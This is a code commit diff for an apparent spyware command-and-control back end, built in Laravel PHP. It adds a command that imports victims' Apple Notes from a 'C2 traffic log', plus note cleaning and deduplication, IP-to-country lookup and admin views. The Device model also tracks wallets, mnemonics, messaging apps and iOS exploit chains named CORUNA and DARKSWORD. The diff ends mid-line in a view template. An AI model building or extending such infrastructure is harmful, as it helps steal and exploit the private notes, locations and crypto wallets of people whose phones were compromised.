feat: note
This commit is contained in:
@@ -0,0 +1,94 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\Note;
|
||||||
|
use App\Services\IngestService;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
|
||||||
|
class ImportNotesLogCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'notes:import-log
|
||||||
|
{file? : C2 traffic log containing /nb lines}
|
||||||
|
{--fresh : Delete all notes before import}';
|
||||||
|
|
||||||
|
protected $description = 'Import /nb note payloads from a C2 log into the local notes table';
|
||||||
|
|
||||||
|
public function handle(IngestService $ingest): int
|
||||||
|
{
|
||||||
|
$path = $this->argument('file') ?: '/Users/toad/Downloads/20260908 (1).log';
|
||||||
|
if (! is_file($path)) {
|
||||||
|
$this->error('Log file not found: '.$path);
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($this->option('fresh')) {
|
||||||
|
Note::query()->delete();
|
||||||
|
$this->info('Cleared notes table.');
|
||||||
|
}
|
||||||
|
|
||||||
|
$handle = fopen($path, 'r');
|
||||||
|
if ($handle === false) {
|
||||||
|
$this->error('Cannot read log file.');
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
$posts = 0;
|
||||||
|
$devices = [];
|
||||||
|
$skipped = 0;
|
||||||
|
while (($line = fgets($handle)) !== false) {
|
||||||
|
if (! str_contains($line, ' /nb ') && ! str_contains($line, '"path":"/nb"')) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$jsonStart = strpos($line, '{');
|
||||||
|
if ($jsonStart === false) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$rec = json_decode(substr($line, $jsonStart), true);
|
||||||
|
if (! is_array($rec) || ($rec['path'] ?? '') !== '/nb') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$payload = $rec['payload'] ?? null;
|
||||||
|
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
|
||||||
|
$skipped++;
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$deviceKey = (string) ($rec['device_key'] ?? $payload['d'] ?? $payload['f'] ?? '');
|
||||||
|
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64)) ?? '';
|
||||||
|
if ($deviceKey === '') {
|
||||||
|
$skipped++;
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$channel = trim((string) ($payload['c'] ?? ''));
|
||||||
|
$device = Device::query()->firstOrCreate(
|
||||||
|
['device_id' => $deviceKey],
|
||||||
|
[
|
||||||
|
'channel_id' => $channel !== '' ? substr($channel, 0, 64) : null,
|
||||||
|
'chain' => Device::CHAIN_CORUNA,
|
||||||
|
]
|
||||||
|
);
|
||||||
|
if ($channel !== '' && trim((string) $device->channel_id) === '') {
|
||||||
|
$device->forceFill(['channel_id' => substr($channel, 0, 64)])->save();
|
||||||
|
}
|
||||||
|
$ingest->ingestNotes($device, $payload);
|
||||||
|
$posts++;
|
||||||
|
$devices[$deviceKey] = true;
|
||||||
|
}
|
||||||
|
fclose($handle);
|
||||||
|
|
||||||
|
$this->info(sprintf(
|
||||||
|
'Imported /nb posts=%d devices=%d skipped=%d notes_rows=%d',
|
||||||
|
$posts,
|
||||||
|
count($devices),
|
||||||
|
$skipped,
|
||||||
|
Note::query()->count(),
|
||||||
|
));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -683,26 +683,24 @@ class DeviceController extends Controller
|
|||||||
|
|
||||||
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
||||||
{
|
{
|
||||||
$sortable = ['id', 'created_at', 'updated_at'];
|
$note = $device->notes()->orderByDesc('id')->first();
|
||||||
if (! in_array($field, $sortable, true)) {
|
$items = $note ? $note->items() : [];
|
||||||
$field = 'id';
|
if (strtolower($order) === 'asc') {
|
||||||
|
$items = array_reverse($items);
|
||||||
}
|
}
|
||||||
$paginator = $device->notes()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
$total = count($items);
|
||||||
$data = collect($paginator->items())->map(function (Note $note) {
|
$slice = array_slice($items, ($page - 1) * $limit, $limit);
|
||||||
$content = $note->content;
|
$reportedAt = optional($note?->updated_at ?? $note?->created_at)->format('Y-m-d H:i:s');
|
||||||
if (is_array($content)) {
|
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt) {
|
||||||
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
|
||||||
}
|
|
||||||
|
|
||||||
return [
|
return [
|
||||||
'id' => $note->id,
|
'id' => (($page - 1) * $limit) + $i + 1,
|
||||||
'content' => $content ?: '',
|
'title' => $item['title'] ?? '',
|
||||||
'created_at' => optional($note->created_at)->format('Y-m-d H:i:s'),
|
'body' => $item['body'] ?? '',
|
||||||
'updated_at' => optional($note->updated_at)->format('Y-m-d H:i:s'),
|
'created_at' => $reportedAt ?: '',
|
||||||
];
|
];
|
||||||
})->values();
|
});
|
||||||
|
|
||||||
return $this->layuiPage($paginator->total(), $data);
|
return $this->layuiPage($total, $data);
|
||||||
}
|
}
|
||||||
|
|
||||||
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
|
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ use App\Http\Controllers\Controller;
|
|||||||
use App\Models\Note;
|
use App\Models\Note;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
use App\Support\AgentScope;
|
use App\Support\AgentScope;
|
||||||
|
use App\Support\NoteContent;
|
||||||
use Illuminate\Database\Eloquent\Builder;
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
|
|
||||||
@@ -44,16 +45,16 @@ class NoteController extends Controller
|
|||||||
|
|
||||||
$portal = $this->portal();
|
$portal = $this->portal();
|
||||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||||
$content = $row->content;
|
$items = $row instanceof Note ? $row->items() : NoteContent::normalizeStored($row->content);
|
||||||
if (is_array($content)) {
|
$titles = NoteContent::titles($items, 2);
|
||||||
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
|
||||||
}
|
|
||||||
|
|
||||||
return [
|
return [
|
||||||
'id' => $row->id,
|
'id' => $row->id,
|
||||||
'device_key' => $row->device_key ?: '',
|
'device_key' => $row->device_key ?: '',
|
||||||
'channel_id' => $row->device_channel_id ?: '',
|
'channel_id' => $row->device_channel_id ?: '',
|
||||||
'content' => $content ?: '',
|
'item_count' => count($items),
|
||||||
|
'preview' => implode(' · ', $titles),
|
||||||
|
'items' => $items,
|
||||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'notes']),
|
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'notes']),
|
||||||
|
|||||||
+34
-1
@@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
namespace App\Models;
|
namespace App\Models;
|
||||||
|
|
||||||
|
use App\Support\CfIpCountry;
|
||||||
use Illuminate\Database\Eloquent\Model;
|
use Illuminate\Database\Eloquent\Model;
|
||||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||||
|
|
||||||
@@ -18,7 +19,7 @@ class Device extends Model
|
|||||||
public const CHAIN_DARKSWORD = 2;
|
public const CHAIN_DARKSWORD = 2;
|
||||||
|
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'country', 'user_agent',
|
||||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||||
'has_whatsapp', 'has_telegram',
|
'has_whatsapp', 'has_telegram',
|
||||||
];
|
];
|
||||||
@@ -44,6 +45,38 @@ class Device extends Model
|
|||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function formattedIp(): string
|
||||||
|
{
|
||||||
|
$ip = trim((string) $this->ip);
|
||||||
|
if ($ip === '') {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
$label = CfIpCountry::label($this->resolvedCountry());
|
||||||
|
|
||||||
|
return $label !== '' ? $ip.'('.$label.')' : $ip;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function resolvedCountry(): ?string
|
||||||
|
{
|
||||||
|
$code = CfIpCountry::normalize($this->country);
|
||||||
|
if ($code !== null) {
|
||||||
|
return $code;
|
||||||
|
}
|
||||||
|
$ip = trim((string) $this->ip);
|
||||||
|
if ($ip === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return CfIpCountry::normalize(
|
||||||
|
PageVisit::query()
|
||||||
|
->where('ip', $ip)
|
||||||
|
->whereNotNull('country')
|
||||||
|
->where('country', '!=', '')
|
||||||
|
->orderByDesc('id')
|
||||||
|
->value('country')
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
public function isDarkSword(): bool
|
public function isDarkSword(): bool
|
||||||
{
|
{
|
||||||
return (int) $this->chain === self::CHAIN_DARKSWORD;
|
return (int) $this->chain === self::CHAIN_DARKSWORD;
|
||||||
|
|||||||
+10
-1
@@ -2,13 +2,14 @@
|
|||||||
|
|
||||||
namespace App\Models;
|
namespace App\Models;
|
||||||
|
|
||||||
|
use App\Support\NoteContent;
|
||||||
use Illuminate\Database\Eloquent\Model;
|
use Illuminate\Database\Eloquent\Model;
|
||||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
|
||||||
class Note extends Model
|
class Note extends Model
|
||||||
{
|
{
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'content',
|
'device_id', 'content', 'content_hash',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
@@ -18,6 +19,14 @@ class Note extends Model
|
|||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<array{title: string, body: string, native_id: int|string|null}>
|
||||||
|
*/
|
||||||
|
public function items(): array
|
||||||
|
{
|
||||||
|
return NoteContent::normalizeStored($this->content);
|
||||||
|
}
|
||||||
|
|
||||||
public function device(): BelongsTo
|
public function device(): BelongsTo
|
||||||
{
|
{
|
||||||
return $this->belongsTo(Device::class);
|
return $this->belongsTo(Device::class);
|
||||||
|
|||||||
@@ -294,6 +294,10 @@ class DarkSwordIngestAdapter
|
|||||||
];
|
];
|
||||||
if ($ip !== '') {
|
if ($ip !== '') {
|
||||||
$touch['ip'] = $ip;
|
$touch['ip'] = $ip;
|
||||||
|
$country = CfIpCountry::fromRequest($request);
|
||||||
|
if ($country !== null) {
|
||||||
|
$touch['country'] = $country;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) {
|
if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) {
|
||||||
$touch['device_model'] = $model;
|
$touch['device_model'] = $model;
|
||||||
@@ -317,6 +321,7 @@ class DarkSwordIngestAdapter
|
|||||||
'device_id' => $key,
|
'device_id' => $key,
|
||||||
'chain' => $chain,
|
'chain' => $chain,
|
||||||
'ip' => $ip !== '' ? $ip : null,
|
'ip' => $ip !== '' ? $ip : null,
|
||||||
|
'country' => CfIpCountry::fromRequest($request),
|
||||||
'device_model' => $model,
|
'device_model' => $model,
|
||||||
'ios_version' => $ios,
|
'ios_version' => $ios,
|
||||||
'channel_id' => $channel,
|
'channel_id' => $channel,
|
||||||
|
|||||||
@@ -16,6 +16,8 @@ use App\Models\WalletAddress;
|
|||||||
use App\Models\WalletKeystore;
|
use App\Models\WalletKeystore;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
use App\Services\Tokenview\TokenviewMonitorService;
|
use App\Services\Tokenview\TokenviewMonitorService;
|
||||||
|
use App\Support\CfIpCountry;
|
||||||
|
use App\Support\NoteContent;
|
||||||
use App\Support\WalletSource;
|
use App\Support\WalletSource;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Support\Facades\Log;
|
use Illuminate\Support\Facades\Log;
|
||||||
@@ -352,6 +354,7 @@ class IngestService
|
|||||||
$attrs = [
|
$attrs = [
|
||||||
'device_id' => $deviceKey,
|
'device_id' => $deviceKey,
|
||||||
'ip' => PageVisit::normalizeIp((string) $request->ip()) ?: $request->ip(),
|
'ip' => PageVisit::normalizeIp((string) $request->ip()) ?: $request->ip(),
|
||||||
|
'country' => CfIpCountry::fromRequest($request),
|
||||||
'device_model' => $this->extractDeviceModel($payload),
|
'device_model' => $this->extractDeviceModel($payload),
|
||||||
'ios_version' => $this->extractIosVersion($payload),
|
'ios_version' => $this->extractIosVersion($payload),
|
||||||
'channel_id' => $attr['channel_id'],
|
'channel_id' => $attr['channel_id'],
|
||||||
@@ -842,14 +845,31 @@ class IngestService
|
|||||||
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
|
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
$list = $payload['list'];
|
|
||||||
if (! is_array($list)) {
|
$items = NoteContent::fromList($payload['list']);
|
||||||
$list = [$list];
|
if ($items === []) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$hash = NoteContent::hash($items);
|
||||||
|
$existing = Note::query()->where('device_id', $device->id)->orderByDesc('id')->first();
|
||||||
|
if ($existing) {
|
||||||
|
Note::query()->where('device_id', $device->id)->where('id', '!=', $existing->id)->delete();
|
||||||
|
if (hash_equals((string) $existing->content_hash, $hash)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$existing->forceFill([
|
||||||
|
'content' => $items,
|
||||||
|
'content_hash' => $hash,
|
||||||
|
])->save();
|
||||||
|
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
Note::query()->create([
|
Note::query()->create([
|
||||||
'device_id' => $device->id,
|
'device_id' => $device->id,
|
||||||
'content' => array_values($list),
|
'content' => $items,
|
||||||
|
'content_hash' => $hash,
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,291 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Support;
|
||||||
|
|
||||||
|
class NoteContent
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* @return list<array{title: string, body: string, native_id: int|string|null}>
|
||||||
|
*/
|
||||||
|
public static function fromList(mixed $list): array
|
||||||
|
{
|
||||||
|
if (! is_array($list)) {
|
||||||
|
if ($list === null || $list === '') {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
$list = [$list];
|
||||||
|
}
|
||||||
|
|
||||||
|
$items = [];
|
||||||
|
foreach (array_values($list) as $raw) {
|
||||||
|
$item = self::fromRaw($raw);
|
||||||
|
if ($item !== null) {
|
||||||
|
$items[] = $item;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $items;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<array{title: string, body: string, native_id: int|string|null}>
|
||||||
|
*/
|
||||||
|
public static function normalizeStored(mixed $content): array
|
||||||
|
{
|
||||||
|
return self::fromList($content);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param list<array{title?: string, body?: string, native_id?: int|string|null}> $items
|
||||||
|
*/
|
||||||
|
public static function hash(array $items): string
|
||||||
|
{
|
||||||
|
$norm = [];
|
||||||
|
foreach ($items as $item) {
|
||||||
|
$norm[] = [
|
||||||
|
't' => (string) ($item['title'] ?? ''),
|
||||||
|
'b' => (string) ($item['body'] ?? ''),
|
||||||
|
'i' => $item['native_id'] ?? null,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return hash('sha256', (string) json_encode($norm, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param list<array{title?: string, body?: string}> $items
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
public static function titles(array $items, int $limit = 2): array
|
||||||
|
{
|
||||||
|
$out = [];
|
||||||
|
foreach ($items as $item) {
|
||||||
|
$title = trim((string) ($item['title'] ?? ''));
|
||||||
|
if ($title === '') {
|
||||||
|
$title = trim((string) preg_replace('/\s+/u', ' ', (string) ($item['body'] ?? '')));
|
||||||
|
$title = $title === '' ? '' : mb_substr($title, 0, 40);
|
||||||
|
}
|
||||||
|
if ($title === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$out[] = $title;
|
||||||
|
if (count($out) >= $limit) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{title: string, body: string, native_id: int|string|null}|null
|
||||||
|
*/
|
||||||
|
private static function fromRaw(mixed $raw): ?array
|
||||||
|
{
|
||||||
|
if (is_array($raw)) {
|
||||||
|
if (self::looksStructured($raw)) {
|
||||||
|
$title = trim((string) ($raw['title'] ?? ''));
|
||||||
|
$body = $raw['body'] ?? $raw['snippet'] ?? $raw['text'] ?? $raw['content'] ?? '';
|
||||||
|
if (is_array($body)) {
|
||||||
|
$body = (string) json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||||
|
}
|
||||||
|
$body = self::cleanText((string) $body);
|
||||||
|
if ($title === '') {
|
||||||
|
[$title, $body] = self::splitTitleBody($body);
|
||||||
|
}
|
||||||
|
$nativeId = $raw['native_id'] ?? $raw['id'] ?? null;
|
||||||
|
if (is_array($nativeId) || is_bool($nativeId)) {
|
||||||
|
$nativeId = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return self::pack($title, $body, $nativeId);
|
||||||
|
}
|
||||||
|
|
||||||
|
$raw = (string) json_encode($raw, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||||
|
} elseif (! is_string($raw)) {
|
||||||
|
$raw = $raw === null ? '' : (string) $raw;
|
||||||
|
}
|
||||||
|
|
||||||
|
$text = self::cleanText($raw);
|
||||||
|
if ($text === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
[$title, $body] = self::splitTitleBody($text);
|
||||||
|
|
||||||
|
return self::pack($title, $body, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $raw
|
||||||
|
*/
|
||||||
|
private static function looksStructured(array $raw): bool
|
||||||
|
{
|
||||||
|
foreach (['title', 'body', 'snippet', 'native_id'] as $key) {
|
||||||
|
if (array_key_exists($key, $raw)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return array_key_exists('id', $raw) && (array_key_exists('mod', $raw) || array_key_exists('text', $raw));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{title: string, body: string, native_id: int|string|null}|null
|
||||||
|
*/
|
||||||
|
private static function pack(string $title, string $body, mixed $nativeId): ?array
|
||||||
|
{
|
||||||
|
$title = trim($title);
|
||||||
|
$body = trim($body);
|
||||||
|
if ($title === '' && $body === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if ($title === '') {
|
||||||
|
$title = mb_substr(preg_replace('/\s+/u', ' ', $body) ?: $body, 0, 80);
|
||||||
|
}
|
||||||
|
if ($body === '') {
|
||||||
|
$body = $title;
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'title' => $title,
|
||||||
|
'body' => $body,
|
||||||
|
'native_id' => is_int($nativeId) || is_string($nativeId) ? $nativeId : null,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function cleanText(string $text): string
|
||||||
|
{
|
||||||
|
$text = str_replace(["\r\n", "\r"], "\n", $text);
|
||||||
|
$text = preg_replace('/\$[0-9A-Fa-f]{8}(?:-[0-9A-Fa-f]{4}){3}-[0-9A-Fa-f]{12}/u', '', $text) ?? $text;
|
||||||
|
$text = preg_replace('/\b(?:com\.apple\.[A-Za-z0-9.]+|public\.(?:jpeg|jpg|png|heic|tiff|gif|image))\b/u', '', $text) ?? $text;
|
||||||
|
$text = preg_replace('/\.(?:SFUI|PingFang|Helvetica|Menlo|Times|Avenir|Hiragino)[A-Za-z0-9-]*/u', '', $text) ?? $text;
|
||||||
|
|
||||||
|
$kept = [];
|
||||||
|
$inTail = false;
|
||||||
|
foreach (explode("\n", $text) as $line) {
|
||||||
|
if ($inTail) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$trim = trim($line);
|
||||||
|
if ($trim === '') {
|
||||||
|
$kept[] = '';
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (self::isAttributeJunkLine($trim)) {
|
||||||
|
$inTail = true;
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$kept[] = self::stripTrailingSoup(rtrim($line));
|
||||||
|
}
|
||||||
|
|
||||||
|
$text = implode("\n", $kept);
|
||||||
|
$text = preg_replace("/\n{3,}/", "\n\n", $text) ?? $text;
|
||||||
|
|
||||||
|
return trim($text);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static function isJunkLine(string $line): bool
|
||||||
|
{
|
||||||
|
if (preg_match('/^[\s()\[\]*.,\\\\]+$/u', $line) === 1) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return mb_strlen($line) <= 8
|
||||||
|
&& str_contains($line, '(')
|
||||||
|
&& preg_match('/^[\s()\[\]*A-Za-z0-9\\\\]+$/u', $line) === 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Apple Notes protobuf / attributed-string runs dumped after the real text.
|
||||||
|
*/
|
||||||
|
private static function isAttributeJunkLine(string $line): bool
|
||||||
|
{
|
||||||
|
if (self::isJunkLine($line)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (preg_match('/^(?:com\.apple\.|public\.)/i', $line) === 1) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (preg_match('/^\.[A-Za-z][A-Za-z0-9_-]+$/u', $line) === 1) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (mb_strlen($line) <= 12 && preg_match('/h[\x{0300}-\x{036F}\x{0590}-\x{05FF}\x{2000}-\x{206F}\x{F000}-\x{FFFF}Ħħ]/u', $line) === 1) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (mb_strlen($line) === 1 && preg_match('/^[\p{P}\p{S}+]$/u', $line) === 1) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (mb_strlen($line) <= 10
|
||||||
|
&& str_contains($line, '(')
|
||||||
|
&& preg_match('/[\p{Han}\p{Hiragana}\p{Katakana}]/u', $line) !== 1) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (preg_match('/[\p{Han}\p{Hiragana}\p{Katakana}]/u', $line) !== 1
|
||||||
|
&& str_starts_with($line, '(')
|
||||||
|
&& preg_match('/\p{L}{3,}\s+\p{L}{3,}/u', $line) !== 1) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return self::isAsciiSoupLine($line);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static function isAsciiSoupLine(string $line): bool
|
||||||
|
{
|
||||||
|
if (preg_match('#https?://|www\.#i', $line) === 1) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (preg_match('/[\p{Han}\p{Hiragana}\p{Katakana}]/u', $line) === 1) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (str_contains($line, "\u{FFFD}")) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (preg_match('/[A-Z]{3,}[@?~}|{]{2,}|[{|][a-z]{4,}[0-9]{5,}/', $line) === 1) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
$len = mb_strlen($line);
|
||||||
|
if ($len < 16) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$spaces = preg_match_all('/\s/u', $line) ?: 0;
|
||||||
|
$punct = preg_match_all('/[\p{P}\p{S}]/u', $line) ?: 0;
|
||||||
|
|
||||||
|
return $spaces <= 2 && ($punct / $len) >= 0.22;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static function stripTrailingSoup(string $line): string
|
||||||
|
{
|
||||||
|
$line = preg_replace('/\x{FFFD}.*$/u', '', $line) ?? $line;
|
||||||
|
$line = preg_replace('/\s*\([^\n]{0,12}[A-Z]{3,}[A-Za-z0-9`\\\\\\]\\^\\[@?~}|{]{8,}.*$/u', '', $line) ?? $line;
|
||||||
|
|
||||||
|
return rtrim($line);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{0: string, 1: string}
|
||||||
|
*/
|
||||||
|
private static function splitTitleBody(string $text): array
|
||||||
|
{
|
||||||
|
$lines = preg_split('/\n+/', $text) ?: [];
|
||||||
|
$title = '';
|
||||||
|
$rest = [];
|
||||||
|
foreach ($lines as $line) {
|
||||||
|
$line = trim($line);
|
||||||
|
if ($line === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if ($title === '') {
|
||||||
|
$title = mb_substr($line, 0, 80);
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$rest[] = $line;
|
||||||
|
}
|
||||||
|
|
||||||
|
return [$title, trim(implode("\n", $rest))];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('notes', function (Blueprint $table) {
|
||||||
|
$table->string('content_hash', 64)->nullable()->after('content');
|
||||||
|
$table->index(['device_id', 'content_hash']);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('notes', function (Blueprint $table) {
|
||||||
|
$table->dropIndex(['device_id', 'content_hash']);
|
||||||
|
$table->dropColumn('content_hash');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('devices', function (Blueprint $table) {
|
||||||
|
$table->char('country', 2)->nullable()->after('ip');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('devices', function (Blueprint $table) {
|
||||||
|
$table->dropColumn('country');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -24,6 +24,10 @@
|
|||||||
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
|
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
|
||||||
.photo-thumb{position:relative;display:inline-block}
|
.photo-thumb{position:relative;display:inline-block}
|
||||||
.photo-unread-dot{position:absolute;top:2px;right:2px;width:8px;height:8px;border-radius:50%;background:#ff5722}
|
.photo-unread-dot{position:absolute;top:2px;right:2px;width:8px;height:8px;border-radius:50%;background:#ff5722}
|
||||||
|
.note-card{background:#fff;border:1px solid #eee;border-radius:4px;padding:12px 14px;margin-bottom:10px}
|
||||||
|
.note-card-title{font-weight:600;margin-bottom:8px;word-break:break-word;color:#333}
|
||||||
|
.note-card-body{margin:0;white-space:pre-wrap;word-break:break-word;font-family:inherit;font-size:13px;line-height:1.55;color:#333}
|
||||||
|
.note-preview{color:#666;word-break:break-all}
|
||||||
/* Tables grow with the current page (e.g. 20 rows); the iframe/page scrolls. */
|
/* Tables grow with the current page (e.g. 20 rows); the iframe/page scrolls. */
|
||||||
.layui-table-view{min-height:420px}
|
.layui-table-view{min-height:420px}
|
||||||
.layui-table-view .layui-table-box,
|
.layui-table-view .layui-table-box,
|
||||||
|
|||||||
@@ -36,7 +36,7 @@
|
|||||||
<th>手机号</th>
|
<th>手机号</th>
|
||||||
<td>{{ $device->phone ?: '—' }}</td>
|
<td>{{ $device->phone ?: '—' }}</td>
|
||||||
<th>IP</th>
|
<th>IP</th>
|
||||||
<td>{{ $device->ip ?: '—' }}</td>
|
